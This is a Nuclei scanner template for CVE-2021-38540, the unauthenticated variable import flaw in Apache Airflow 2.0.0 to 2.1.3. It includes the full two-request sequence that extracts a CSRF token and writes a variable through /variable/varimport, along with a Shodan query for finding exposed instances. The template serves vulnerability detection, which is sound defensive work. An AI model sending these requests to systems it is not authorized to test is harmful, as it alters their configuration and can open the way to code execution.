nuclei-templates/http/cves/2021/CVE-2021-38540.yaml

81 lines
2.7 KiB
YAML

id: CVE-2021-38540
info:
name: Apache Airflow - Unauthenticated Variable Import
author: pdteam
severity: critical
description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
remediation: Upgrade to Apache Airflow 2.1.3 or higher.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-38540
- https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-38540
cwe-id: CWE-269,CWE-306
epss-score: 0.00588
epss-percentile: 0.75904
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: apache
product: airflow
shodan-query: title:"Sign In - Airflow"
tags: cve,cve2021,apache,airflow,rce,intrusive
http:
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
- |
POST /variable/varimport HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
Referer: {{RootURL}}/admin/variable/
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="csrf_token"
{{csrf}}
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="file"; filename="{{randstr}}.json"
Content-Type: application/json
{
"type": "{{randstr}}"
}
------WebKitFormBoundaryB874qcjbpxTP1Hj7--
cookie-reuse: true
req-condition: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(body_1, "Sign In")
- status_code_2 == 302
- contains(header_2, "session=.")
condition: and
- type: word
words:
- 'You should be redirected automatically to target URL: <a href="/">'
extractors:
- type: regex
name: csrf
group: 1
regex:
- type="hidden" value="(.*?)">
internal: true
# digest: 4a0a004730450221008630a744eda59b7339c3a0fbc157b5d2ffe171a993eb3609021d30820da6d5be02205e6cb707996b9ea8da764a253b8ba3e95177f0cb9574470ff07a74adebfd970f:922c64590222798bb761d5b6d8e72950